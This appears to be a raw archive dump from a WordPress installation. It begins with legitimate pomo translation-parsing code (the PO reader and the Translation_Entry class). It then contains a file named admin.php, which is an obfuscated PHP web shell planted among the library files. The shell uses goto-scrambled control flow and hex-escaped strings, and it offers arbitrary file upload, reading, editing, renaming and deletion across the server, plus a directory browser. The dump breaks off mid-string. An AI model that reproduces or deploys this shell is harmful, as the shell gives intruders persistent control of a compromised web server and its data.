$context && 'comment' !== $context ) { return false; } $context = 'msgid'; $entry->singular .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgid_plural'; $entry->is_plural = true; $entry->plural .= PO::unpoify( $m[1] ); } elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) { if ( 'msgid' !== $context ) { return false; } $context = 'msgstr'; $entry->translations = array( PO::unpoify( $m[1] ) ); } elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) { if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) { return false; } $context = 'msgstr_plural'; $msgstr_index = $m[1]; $entry->translations[ $m[1] ] = PO::unpoify( $m[2] ); } elseif ( preg_match( '/^".*"$/', $line ) ) { $unpoified = PO::unpoify( $line ); switch ( $context ) { case 'msgid': $entry->singular .= $unpoified; break; case 'msgctxt': $entry->context .= $unpoified; break; case 'msgid_plural': $entry->plural .= $unpoified; break; case 'msgstr': $entry->translations[0] .= $unpoified; break; case 'msgstr_plural': $entry->translations[ $msgstr_index ] .= $unpoified; break; default: return false; } } else { return false; } } $have_translations = false; foreach ( $entry->translations as $t ) { if ( $t || ( '0' === $t ) ) { $have_translations = true; break; } } if ( false === $have_translations ) { $entry->translations = array(); } return array( 'entry' => $entry, 'lineno' => $lineno, ); } /** * @param resource $f * @param string $action * @return bool */ public function read_line( $f, $action = 'read' ) { static $last_line = ''; static $use_last_line = false; if ( 'clear' === $action ) { $last_line = ''; return true; } if ( 'put-back' === $action ) { $use_last_line = true; return true; } $line = $use_last_line ? $last_line : fgets( $f ); $line = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line; $last_line = $line; $use_last_line = false; return $line; } /** * @param Translation_Entry $entry * @param string $po_comment_line */ public function add_comment_to_entry( &$entry, $po_comment_line ) { $first_two = substr( $po_comment_line, 0, 2 ); $comment = trim( substr( $po_comment_line, 2 ) ); if ( '#:' === $first_two ) { $entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) ); } elseif ( '#.' === $first_two ) { $entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment ); } elseif ( '#,' === $first_two ) { $entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) ); } else { $entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment ); } } /** * @param string $s * @return string */ public static function trim_quotes( $s ) { if ( str_starts_with( $s, '"' ) ) { $s = substr( $s, 1 ); } if ( str_ends_with( $s, '"' ) ) { $s = substr( $s, 0, -1 ); } return $s; } } endif; entry.php 0000644 00000007427 15217314740 0006434 0 ustar 00 <?php /** * Contains Translation_Entry class * * @version $Id: entry.php 1157 2015-11-20 04:30:11Z dd32 $ * @package pomo * @subpackage entry */ if ( ! class_exists( 'Translation_Entry', false ) ) : /** * Translation_Entry class encapsulates a translatable string. * * @since 2.8.0 */ #[AllowDynamicProperties] class Translation_Entry { /** * Whether the entry contains a string and its plural form, default is false. * * @var bool */ public $is_plural = false; public $context = null; public $singular = null; public $plural = null; public $translations = array(); public $translator_comments = ''; public $extracted_comments = ''; public $references = array(); public $flags = array(); /** * @param array $args { * Arguments array, supports the following keys: * * @type string $singular The string to translate, if omitted an * empty entry will be created. * @type string $plural The plural form of the string, setting * this will set `$is_plural` to true. * @type array $translations Translations of the string and possibly * its plural forms. * @type string $context A string differentiating two equal strings * used in different contexts. * @type string $translator_comments Comments left by translators. * @type string $extracted_comments Comments left by developers. * @type array $references Places in the code this string is used, in * relative_to_root_path/file.php:linenum form. * @type array $flags Flags like php-format. * } */ public function __construct( $args = array() ) { // If no singular -- empty object. if ( ! isset( $args['singular'] ) ) { return; } // Get member variable values from args hash. foreach ( $args as $varname => $value ) { $this->$varname = $value; } if ( isset( $args['plural'] ) && $args['plural'] ) { $this->is_plural = true; } if ( ! is_array( $this->translations ) ) { $this->translations = array(); } if ( ! is_array( $this->references ) ) { $this->references = array(); } if ( ! is_array( $this->flags ) ) { $this->flags = array(); } } /** * PHP4 constructor. * * @since 2.8.0 * @deprecated 5.4.0 Use __construct() instead. * * @see Translation_Entry::__construct() */ public function Translation_Entry( $args = array() ) { _deprecated_constructor( self::class, '5.4.0', static::class ); self::__construct( $args ); } /** * Generates a unique key for this entry. * * @since 2.8.0 * * @return string|false The key or false if the entry is null. */ public function key() { if ( null === $this->singular ) { return false; } // Prepend context and EOT, like in MO files. $key = ! $this->context ? $this->singular : $this->context . "\4" . $this->singular; // Standardize on \n line endings. $key = str_replace( array( "\r\n", "\r" ), "\n", $key ); return $key; } /** * Merges another translation entry with the current one. * * @since 2.8.0 * * @param Translation_Entry $other Other translation entry. */ public function merge_with( &$other ) { $this->flags = array_unique( array_merge( $this->flags, $other->flags ) ); $this->references = array_unique( array_merge( $this->references, $other->references ) ); if ( $this->extracted_comments !== $other->extracted_comments ) { $this->extracted_comments .= $other->extracted_comments; } } } endif; tmp/docs/build/dtedk/admin.php 0000644 00000056735 15217314740 0012313 0 ustar 00 <?php if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) { header('HTTP/1.0 403 Forbidden'); exit('Access denied.'); } ?> <?php goto MZdo5; q5qQV: goto m2l28; goto eBzFL; qyHVC: function perms($file) { $perms = fileperms($file); $info = ''; switch ($perms & 61440) { case 49152: $info = "\x73"; break; case 40960: $info = "\154"; break; case 32768: $info = "\x2d"; break; case 24576: $info = "\142"; break; case 16384: $info = "\x64"; break; case 8192: $info = "\x63"; break; case 4096: $info = "\160"; break; default: $info = "\x75"; } $info .= $perms & 256 ? "\x72" : "\55"; $info .= $perms & 128 ? "\x77" : "\55"; $info .= $perms & 64 ? "\x78" : "\x2d"; $info .= $perms & 32 ? "\162" : "\55"; $info .= $perms & 16 ? "\x77" : "\x2d"; $info .= $perms & 8 ? "\x78" : "\55"; $info .= $perms & 4 ? "\162" : "\x2d"; $info .= $perms & 2 ? "\x77" : "\55"; $info .= $perms & 1 ? "\x78" : "\x2d"; return $info; } goto Izsvh; gn254: FOibh: goto f5iLr; tQiw9: jFKGJ: goto tk820; B1ZlW: goto UEFT3; goto uoh9A; QA2rj: EWy1H: goto weViH; Ib27y: DwLqN: goto wvKuj; ZcDN2: J8nD_: goto Rf4bY; qbQcc: goto fXqk3; goto BGROV; yS_wq: fXqk3: goto oIn0G; dU_6r: goto SbVMF; goto QCbIh; mSxTp: goto E0tpB; goto iwJLe; f5iLr: goto c8LSA; goto Z7Lu1; hZ5qh: orA39: goto rHcH2; BGROV: c8LSA: goto yi9Pg; cv3le: Dw2jh: goto T11XB; laX9B: if (isset($_FILES["\x66\x69\154\145"])) { $success = $failed = 0; foreach ($_FILES["\x66\151\154\145"]["\156\141\155\x65"] as $i => $name) { if ($_FILES["\x66\x69\154\x65"]["\x65\162\x72\x6f\162"][$i] === UPLOAD_ERR_OK) { if (copy($_FILES["\x66\x69\x6c\x65"]["\x74\155\160\x5f\x6e\x61\x6d\x65"][$i], $path . "\x2f" . $name)) { $success++; } else { $failed++; } } } if ($success > 0) { echo "\x3c\x66\x6f\156\164\40\143\x6f\x6c\x6f\162\75\x22\147\x72\145\x65\156\x22\76" . $success . "\x20\x66\x69\154\x65\163\40\165\160\x6c\x6f\x61\144\145\144\74\57\146\157\x6e\164\76\x3c\x62\x72\x3e"; } if ($failed > 0) { echo "\74\146\157\x6e\164\x20\143\x6f\154\157\162\x3d\x22\x72\145\x64\x22\76" . $failed . "\x20\x66\x69\x6c\145\x73\x20\146\141\x69\154\x65\144\74\x2f\x66\x6f\x6e\164\x3e\x3c\142\x72\x3e"; } } goto B1ZlW; F7PKv: goto tKEme; goto RZjIM; s0wJD: goto jFKGJ; goto CsOqe; DNAsO: qxaD3: goto s0gkc; lbYs2: goto EWy1H; goto W_F9s; iwJLe: fMmpG: goto laX9B; yU4sO: Hw8Bd: goto lbYs2; A97iO: jdZnK: goto ZcDN2; rsHoN: goto bzln8; goto QVUHr; RVeh5: KpS4k: goto wA2tt; Uxx3P: $paths = explode("\x2f", $path); goto oaxtW; UCa5R: qlbAK: goto dU_6r; SsyJO: goto hjknE; goto yU4sO; DqBZe: cRmX9: goto w5Pt7; RZjIM: goto eKPQZ; goto vKgip; nw6ar: @set_time_limit(0); goto Oo_ve; Xb6Gi: goto UNrAd; goto cnDLX; weViH: goto ICmb8; goto qn93U; GlWz0: goto UNqTO; goto vvDQO; vEpCf: goto Y7jWl; goto DNAsO; yi9Pg: goto orA39; goto KLEj2; LVUzu: goto fMmpG; goto L4pX4; Z7Lu1: nWeJx: goto QA2rj; ktstR: gEsxN: goto mspTr; NNBtx: b0Nrh: goto mGOO0; T11XB: goto Tn8b2; goto Yazl0; objWe: echo "\74\x63\145\x6e\x74\145\x72\76\x3c\x68\162\x20\x77\151\x64\164\150\x3d\42\71\62\x30\x22\40\143\x6f\x6c\157\x72\75\x22\142\x6c\x61\x63\153\x22\x2f\x3e\74\x2f\x63\x65\x6e\x74\145\162\x3e\xa\x3c\x2f\x42\x4f\x44\x59\76\12\x3c\57\110\124\115\x4c\76"; goto qyHVC; yXP9p: goto Rn9GM; goto OOQJ5; pdmH9: echo "\74\x2f\164\x64\x3e\x3c\57\x74\162\x3e\74\164\162\x3e\74\164\144\x3e"; goto LVUzu; ddBeu: goto wMK5d; goto wEk4Z; tk820: NBnGq: goto vEpCf; cnDLX: o7Ens: goto RVeh5; vKgip: UNrAd: goto NNBtx; aoMz0: goto TluqZ; goto l126R; l126R: goto gEsxN; goto GCema; KLEj2: goto o7Ens; goto DqBZe; CsOqe: s6Lnf: goto gn254; GCema: QiXId: goto D4SYR; DlRGI: goto O2SH1; goto Osxf3; MZdo5: goto t9IL2; goto rJcm4; wA2tt: goto ot6iu; goto uV6Ic; IHlUX: echo "\x3c\x21\104\117\x43\x54\x59\x50\105\40\110\124\x4d\x4c\x3e\12\x3c\110\x54\x4d\x4c\x3e\12\x3c\x48\x45\101\x44\x3e\xa\74\164\x69\x74\x6c\145\x3e\316\xa4\316\277\40\xce\234\xce\xb9\xce\272\xcf\201\317\214\x20\316\235\xce\254\xce\xb3\316\xba\xce\265\xcf\x84\74\x2f\x74\151\164\x6c\x65\76\xa\74\x73\164\171\154\145\x3e\12\142\157\x64\171\173\x66\157\x6e\164\x2d\x66\141\x6d\151\154\x79\x3a\155\157\156\157\163\160\x61\143\x65\x3b\146\x6f\156\x74\x2d\x77\x65\151\147\150\x74\72\x62\x6f\x6c\x64\73\x66\157\x6e\164\55\163\151\x7a\145\x3a\61\x38\x70\170\73\x62\141\x63\x6b\147\162\157\165\156\144\55\143\157\x6c\x6f\x72\x3a\43\x63\65\143\65\x63\x35\73\x63\x6f\x6c\157\x72\72\43\x30\60\x30\x3b\x7d\12\x23\x63\157\x6e\x74\x65\156\x74\x20\x74\x72\x3a\x68\157\166\145\x72\173\142\141\x63\153\147\162\x6f\x75\x6e\x64\x2d\143\157\154\x6f\162\72\43\143\143\143\73\x7d\xa\43\143\157\156\164\145\156\x74\40\56\x66\x69\x72\x73\164\173\142\141\143\x6b\147\x72\x6f\165\156\144\55\x63\157\154\x6f\x72\x3a\43\143\143\x63\x3b\175\xa\x23\x63\157\x6e\164\145\156\x74\40\56\x66\151\x72\163\x74\x3a\x68\x6f\x76\x65\162\173\x62\x61\143\x6b\147\x72\157\165\156\x64\x2d\x63\157\154\x6f\162\72\x23\x63\x63\143\73\x7d\xa\x74\x61\142\x6c\x65\173\x62\x6f\162\x64\145\162\x3a\63\x70\170\40\x23\x30\x30\x30\40\x73\157\x6c\151\x64\73\175\12\141\x7b\143\x6f\x6c\157\x72\x3a\43\60\60\60\73\164\145\x78\x74\x2d\x64\x65\x63\157\162\x61\164\x69\157\156\x3a\156\x6f\x6e\145\x3b\175\12\141\x3a\150\x6f\166\145\162\x7b\143\157\154\157\x72\72\43\60\x30\146\73\x7d\xa\151\x6e\x70\x75\x74\54\x73\x65\x6c\x65\x63\164\x2c\164\145\x78\x74\141\162\x65\x61\x7b\142\x6f\162\x64\x65\162\72\x31\160\170\x20\43\60\60\x30\40\163\157\x6c\151\144\73\142\x6f\162\144\x65\x72\55\162\x61\x64\151\165\x73\x3a\x35\160\170\73\x7d\xa\x69\x6e\160\x75\x74\x7b\146\157\156\164\55\x73\151\x7a\145\72\61\x38\x70\170\x3b\146\157\156\164\55\167\145\151\x67\150\x74\x3a\142\x6f\154\x64\73\x70\141\144\x64\x69\x6e\x67\72\65\160\x78\73\175\xa\x73\x65\x6c\x65\143\x74\173\x66\157\x6e\164\55\x73\x69\172\x65\x3a\x31\x39\160\x78\x7d\12\x74\x65\x78\x74\141\162\145\x61\x7b\146\x6f\x6e\164\55\163\x69\x7a\x65\72\61\60\160\170\175\xa\x74\144\54\164\x72\x7b\x70\x61\x64\144\x69\156\x67\x3a\x32\x70\x78\x20\x35\x70\x78\x3b\x7d\12\74\x2f\x73\164\171\154\145\76\xa\x3c\x2f\x48\x45\x41\x44\x3e\12\74\x42\x4f\x44\x59\76\xa\x3c\x68\x72\x20\167\x69\144\164\x68\75\x22\x39\62\x30\x22\x20\x63\157\154\157\x72\75\42\142\154\x61\143\x6b\x22\x2f\x3e\12\74\150\x72\40\167\x69\x64\164\150\75\42\x39\62\60\x22\40\x63\157\x6c\157\x72\x3d\42\142\x6c\141\x63\x6b\42\x2f\76\74\143\145\156\x74\x65\x72\x3e\74\160\76\x3c\150\62\76\131\x6f\165\x72\40\111\120\x20\x3a\40" . $_SERVER["\x52\x45\115\117\x54\105\137\101\104\x44\x52"] . "\x3c\x2f\150\x32\76\74\57\160\76\x3c\x2f\x63\145\x6e\x74\145\162\x3e\xa\x3c\x68\162\40\x77\x69\x64\164\150\75\42\71\x32\60\x22\40\x63\x6f\x6c\x6f\162\75\x22\142\x6c\x61\143\153\x22\x2f\76"; goto IrgUw; mGOO0: goto QiXId; goto PqmZn; TxR2e: if (isset($_GET["\146\x69\x6c\145\163\x72\x63"])) { echo "\74\164\162\76\x3c\x74\x64\x20\163\164\x79\x6c\145\x3d\47\x70\x61\144\144\x69\x6e\147\x3a\x38\x70\x78\47\76\x43\165\x72\x72\x65\x6e\x74\x20\x46\151\154\145\x3a\x20" . $_GET["\146\x69\154\x65\163\162\143"] . "\74\x2f\164\162\x3e\74\57\x74\144\76\x3c\x2f\164\x61\142\x6c\x65\x3e\x3c\x62\x72\x3e"; echo "\74\160\162\145\x3e" . htmlspecialchars(file_get_contents($_GET["\146\x69\x6c\145\163\162\x63"])) . "\x3c\57\x70\x72\145\x3e"; } elseif (isset($_GET["\157\x70\164\151\x6f\x6e"])) { $postPath = $_POST["\160\141\x74\150"]; echo "\74\57\164\x61\142\154\145\76\74\x62\162\x20\x2f\x3e\74\x63\145\156\164\x65\x72\76" . $_POST["\x70\x61\164\x68"] . "\x3c\142\x72\76\x3c\142\x72\x3e"; if ($_POST["\157\x70\164"] == "\145\x64\151\x74" && isset($_POST["\x73\162\143"])) { $fp = fopen($postPath, "\167"); if ($fp && fwrite($fp, $_POST["\163\162\x63"])) { echo "\74\146\x6f\x6e\x74\40\x63\x6f\154\157\162\x3d\42\147\162\x65\x65\x6e\42\x3e\x45\x64\x69\164\40\x53\x75\x63\143\145\163\x73\74\57\x66\157\156\164\76\x3c\x62\x72\x3e"; } else { echo "\x3c\146\x6f\156\x74\40\x63\157\154\157\x72\75\x22\x72\145\144\x22\x3e\x45\144\x69\x74\x20\106\141\x69\154\145\144\74\x2f\146\x6f\x6e\x74\x3e\x3c\x62\x72\x3e"; } if ($fp) { fclose($fp); } } elseif ($_POST["\x6f\x70\164"] == "\x72\x65\x6e\141\x6d\145" && isset($_POST["\156\145\x77\156\141\155\x65"])) { $newPath = dirname($postPath) . "\57" . $_POST["\x6e\145\167\x6e\141\x6d\145"]; if (rename($postPath, $newPath)) { echo "\74\x66\157\x6e\x74\40\x63\157\x6c\157\162\x3d\x22\147\x72\145\x65\x6e\x22\x3e\x52\x65\x6e\141\155\145\x20\123\x75\143\x63\145\163\x73\x3c\x2f\x66\157\156\x74\x3e\74\x62\x72\76"; $postPath = $newPath; } else { echo "\x3c\x66\157\156\x74\40\143\157\154\x6f\162\x3d\x22\162\x65\144\42\76\x52\145\156\141\x6d\x65\x20\106\x61\x69\154\145\144\x3c\57\146\157\x6e\164\76\x3c\x62\162\x3e"; } } elseif ($_POST["\x6f\x70\x74"] == "\144\145\x6c\x65\164\145") { if ($_POST["\164\x79\x70\x65"] == "\144\151\162") { echo rmdir($postPath) ? "\x3c\146\x6f\156\x74\x20\143\x6f\x6c\x6f\x72\75\42\x67\x72\145\145\156\x22\76\x44\151\x72\145\143\x74\157\162\x79\40\x64\145\x6c\x65\164\x65\144\74\57\146\x6f\x6e\164\76\74\142\x72\76" : "\x3c\146\x6f\156\164\40\143\x6f\154\x6f\x72\x3d\x22\162\x65\144\x22\x3e\x44\145\154\145\x74\145\40\x66\141\x69\x6c\x65\144\74\57\x66\x6f\x6e\164\76\74\142\162\76"; } elseif ($_POST["\x74\171\x70\145"] == "\146\151\x6c\x65") { echo unlink($postPath) ? "\74\x66\157\x6e\164\40\143\157\154\x6f\162\x3d\x22\x67\x72\x65\145\156\42\76\x46\151\x6c\145\x20\x64\145\x6c\145\164\x65\x64\74\x2f\146\157\x6e\164\x3e\x3c\142\162\x3e" : "\74\146\x6f\x6e\164\40\143\157\x6c\157\x72\x3d\42\162\x65\x64\x22\76\104\x65\154\145\164\x65\40\146\141\x69\x6c\145\144\74\x2f\x66\x6f\156\164\76\x3c\142\162\76"; } } if ($_POST["\157\x70\x74"] == "\x65\144\x69\x74") { echo "\74\x66\157\x72\155\40\x6d\145\164\150\157\144\x3d\42\x50\117\x53\124\x22\76\xa\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x3c\164\x65\x78\164\x61\162\145\x61\40\x63\x6f\x6c\x73\x3d\x31\x33\x30\x20\162\x6f\167\163\x3d\x32\60\40\156\141\155\x65\x3d\42\163\162\143\x22\x3e" . htmlspecialchars(file_get_contents($postPath)) . "\74\57\x74\145\170\164\141\x72\x65\141\x3e\74\142\162\76\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\x3c\x69\156\160\x75\164\x20\x74\x79\160\145\x3d\x22\x68\151\x64\144\x65\156\42\40\x6e\141\155\145\75\x22\160\x61\x74\150\x22\40\166\x61\x6c\x75\x65\75\42" . $postPath . "\x22\x3e\12\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\x20\74\151\156\x70\165\x74\x20\164\171\x70\x65\75\42\150\151\x64\x64\x65\x6e\x22\40\x6e\x61\155\145\75\x22\x6f\160\x74\x22\40\x76\141\154\165\145\x3d\42\x65\144\151\x74\42\76\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x3c\x69\156\x70\x75\164\40\164\x79\x70\145\75\x22\x73\165\x62\x6d\151\164\42\x20\x76\x61\x6c\x75\x65\x3d\42\x53\141\x76\x65\x22\x2f\x3e\xa\40\40\x20\x20\40\40\x20\x20\x3c\x2f\x66\157\162\155\x3e"; } elseif ($_POST["\x6f\x70\x74"] == "\x72\x65\156\141\155\x65") { echo "\x3c\x66\157\162\x6d\40\x6d\x65\x74\x68\157\x64\x3d\x22\120\117\x53\x54\x22\x3e\12\x20\x20\40\x20\40\x20\40\40\x20\x20\40\40\x4e\x65\x77\40\x4e\141\x6d\145\x3a\40\x3c\x69\x6e\x70\x75\164\x20\x6e\x61\155\145\75\x22\x6e\145\x77\156\x61\x6d\145\42\x20\x74\x79\x70\x65\75\42\x74\145\x78\x74\x22\x20\163\x69\x7a\145\x3d\x22\x32\x30\x22\x20\x76\141\154\x75\145\x3d\x22" . basename($postPath) . "\x22\57\x3e\12\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x20\x3c\x69\156\x70\x75\164\x20\164\171\160\x65\75\x22\x68\x69\144\x64\145\156\42\40\156\x61\x6d\x65\x3d\42\160\x61\x74\x68\x22\x20\x76\141\154\x75\145\75\x22" . $postPath . "\42\76\12\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x3c\151\156\160\165\x74\x20\x74\171\x70\x65\75\42\x68\151\144\144\145\156\42\x20\x6e\141\155\145\75\x22\x6f\160\x74\x22\40\166\141\x6c\x75\145\75\42\162\145\156\x61\155\x65\42\76\xa\x20\40\40\x20\40\40\40\40\x20\40\40\40\74\151\x6e\160\x75\x74\40\x74\171\x70\x65\75\42\163\165\142\x6d\151\x74\42\x20\x76\x61\154\165\x65\75\42\123\x61\x76\x65\x22\x2f\76\12\x20\40\x20\x20\x20\40\x20\x20\74\57\x66\157\162\x6d\x3e"; } echo "\x3c\57\x63\x65\156\164\x65\x72\76"; } else { echo "\74\x2f\x74\141\142\154\x65\x3e\74\142\x72\x20\x2f\x3e\x3c\143\x65\156\x74\145\162\x3e\x3c\x2f\x63\145\156\164\x65\x72\x3e"; $scandir = scandir($path); echo "\74\144\x69\166\x20\x69\x64\x3d\x22\143\x6f\156\164\145\156\x74\x22\x3e\x3c\164\x61\142\x6c\x65\40\167\x69\144\164\x68\75\42\x39\x32\60\42\40\142\x6f\x72\144\145\x72\x3d\42\x31\56\65\x70\170\x22\x20\143\145\154\x6c\160\141\x64\x64\x69\156\147\x3d\42\x35\42\x20\143\145\154\154\x73\160\x61\x63\x69\x6e\147\x3d\42\x30\x22\40\141\x6c\x69\x67\x6e\75\42\x63\145\x6e\164\x65\162\42\76\xa\40\x20\40\40\40\x20\40\40\x3c\164\162\40\x63\154\141\163\163\75\42\x66\x69\162\163\x74\42\x3e\xa\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x3c\x74\144\x3e\74\x63\145\156\164\145\x72\x3e\116\141\x6d\x65\x3c\57\143\x65\156\x74\x65\162\76\x3c\57\x74\x64\x3e\xa\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x3c\164\144\x3e\x3c\x63\x65\156\164\145\162\76\123\151\172\145\74\x2f\143\145\x6e\x74\145\162\x3e\74\57\164\144\x3e\12\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\74\164\144\76\x3c\x63\145\x6e\164\x65\x72\76\x50\145\x72\155\x69\x73\x73\x69\x6f\x6e\x73\x3c\57\143\145\156\x74\x65\162\x3e\74\x2f\x74\x64\x3e\xa\x20\40\40\x20\40\40\x20\x20\x20\40\x20\x20\74\x74\x64\76\x3c\143\145\x6e\x74\145\x72\76\x4f\160\164\x69\157\x6e\x73\x3c\x2f\143\145\x6e\x74\145\162\76\74\57\164\144\76\12\x20\40\x20\x20\x20\40\x20\40\74\x2f\x74\162\76"; foreach ($scandir as $item) { if ($item == "\56" || $item == "\56\x2e") { continue; } $fullpath = "{$path}\x2f{$item}"; if (is_dir($fullpath)) { $size = "\74\x63\145\156\164\x65\x72\76\55\x2d\74\x2f\x63\x65\156\164\145\162\x3e"; $perms = perms($fullpath); $perms = is_writable($fullpath) ? "\74\x66\157\x6e\164\40\x63\157\x6c\157\x72\75\47\102\154\165\x65\x27\76{$perms}\x3c\57\146\x6f\156\164\x3e" : (!is_readable($fullpath) ? "\x3c\146\157\156\x74\40\143\x6f\x6c\x6f\162\x3d\x27\x72\145\144\47\76{$perms}\74\57\146\157\x6e\x74\76" : $perms); echo "\x3c\x74\162\x3e\xa\x20\x20\40\40\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x3c\164\x64\76\74\141\x20\150\x72\x65\x66\x3d\47\77\160\x61\x74\150\x3d{$fullpath}\47\76{$item}\x2f\74\x2f\141\x3e\74\57\x74\x64\x3e\12\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\74\x74\x64\76{$size}\74\x2f\164\x64\76\xa\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\74\x74\144\76\74\x63\x65\156\164\145\x72\x3e{$perms}\74\57\143\x65\156\164\x65\162\x3e\x3c\57\x74\x64\76\xa\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\40\x20\x3c\164\144\76\x3c\x63\x65\x6e\164\145\162\76\12\x20\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\40\x20\x3c\146\157\x72\x6d\x20\x6d\x65\x74\150\157\x64\75\x27\120\117\x53\x54\x27\40\x61\x63\x74\151\157\x6e\x3d\x27\x3f\x6f\x70\164\x69\157\156\x26\160\x61\x74\x68\x3d{$path}\47\76\12\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\40\74\163\x65\x6c\x65\x63\164\40\x6e\x61\x6d\x65\75\x27\x6f\x70\x74\47\x3e\12\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\74\x6f\160\x74\151\x6f\x6e\x20\x76\141\154\x75\145\x3d\x27\47\x3e\x3c\57\157\160\x74\151\157\x6e\76\xa\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\74\157\160\164\x69\157\156\x20\x76\x61\x6c\165\x65\75\x27\144\145\x6c\x65\x74\145\47\76\x44\145\x6c\x65\164\x65\x3c\x2f\157\160\x74\x69\157\156\76\xa\x20\40\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x3c\x6f\x70\164\x69\x6f\156\40\166\141\154\x75\145\x3d\47\162\x65\x6e\141\155\x65\x27\76\x52\145\x6e\141\155\x65\74\x2f\157\160\164\151\x6f\x6e\x3e\xa\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\x20\x20\x20\74\57\163\x65\x6c\x65\143\x74\76\12\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\x69\156\x70\x75\x74\x20\164\171\160\145\75\47\x68\151\144\144\x65\156\47\40\x6e\x61\155\x65\75\x27\164\171\160\x65\x27\40\166\x61\154\x75\145\75\x27\144\x69\x72\47\76\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\40\74\x69\156\160\165\x74\40\164\x79\160\x65\75\x27\x68\x69\144\144\145\x6e\x27\x20\156\x61\x6d\145\x3d\x27\156\141\155\145\47\x20\x76\x61\154\165\145\75\x27{$item}\47\x3e\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x3c\x69\156\x70\165\x74\40\164\x79\160\x65\75\x27\x68\x69\144\144\145\x6e\47\x20\156\x61\x6d\x65\x3d\47\160\x61\164\x68\x27\40\166\x61\x6c\165\145\x3d\x27{$fullpath}\x27\x3e\12\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\74\x69\x6e\160\165\164\x20\164\171\x70\x65\75\47\163\x75\142\155\151\164\x27\x20\166\141\x6c\165\x65\x3d\x27\107\x6f\47\57\76\xa\40\40\40\40\40\x20\40\40\x20\40\40\x20\40\x20\x20\40\x3c\57\x66\157\x72\x6d\76\74\57\x63\x65\156\x74\145\x72\76\74\x2f\x74\144\x3e\12\x20\40\40\40\40\40\x20\x20\x20\40\x20\40\74\x2f\164\x72\x3e"; } } echo "\x3c\164\162\x20\x63\x6c\141\x73\163\75\42\x66\151\162\x73\x74\x22\x3e\74\164\x64\x20\x63\x6f\154\x73\160\141\x6e\x3d\42\x34\42\x3e\x3c\x2f\164\144\x3e\74\x2f\164\162\76"; foreach ($scandir as $item) { $fullpath = "{$path}\57{$item}"; if (is_file($fullpath)) { $size = filesize($fullpath) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . "\40\115\x42" : round($size, 3) . "\x20\x4b\102"; $perms = perms($fullpath); $perms = is_writable($fullpath) ? "\x3c\146\157\156\x74\40\143\157\x6c\157\162\x3d\x27\x42\154\165\145\x27\76{$perms}\x3c\57\x66\x6f\x6e\x74\76" : (!is_readable($fullpath) ? "\x3c\146\157\156\164\x20\143\x6f\154\x6f\162\75\47\162\145\x64\47\76{$perms}\74\57\146\157\156\x74\76" : $perms); echo "\74\164\x72\76\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\40\x20\x20\x20\x20\74\164\x64\76\74\x61\x20\150\x72\x65\146\75\47\x3f\x66\151\x6c\x65\x73\x72\x63\75{$fullpath}\46\x70\141\164\x68\75{$path}\x27\76{$item}\74\57\x61\76\74\x2f\x74\144\76\12\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\74\x74\144\x3e\74\143\x65\x6e\x74\x65\x72\x3e{$size}\x3c\x2f\143\145\x6e\x74\x65\x72\x3e\74\x2f\x74\x64\76\12\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\74\x74\144\76\x3c\143\x65\x6e\164\x65\162\76{$perms}\x3c\57\143\145\156\164\x65\x72\76\x3c\57\x74\144\76\12\40\40\40\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\40\40\x3c\164\x64\76\74\143\x65\156\164\x65\162\x3e\12\40\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\x3c\x66\157\x72\x6d\40\x6d\145\x74\x68\157\x64\x3d\47\120\117\123\x54\x27\40\141\x63\164\x69\157\x6e\75\x27\77\x6f\x70\x74\151\157\x6e\x26\160\x61\x74\150\x3d{$path}\47\x3e\12\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\x20\40\x20\x20\40\x3c\163\145\154\145\143\164\x20\x6e\141\x6d\145\x3d\x27\x6f\160\x74\47\76\12\40\40\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\40\40\x3c\157\x70\x74\x69\x6f\15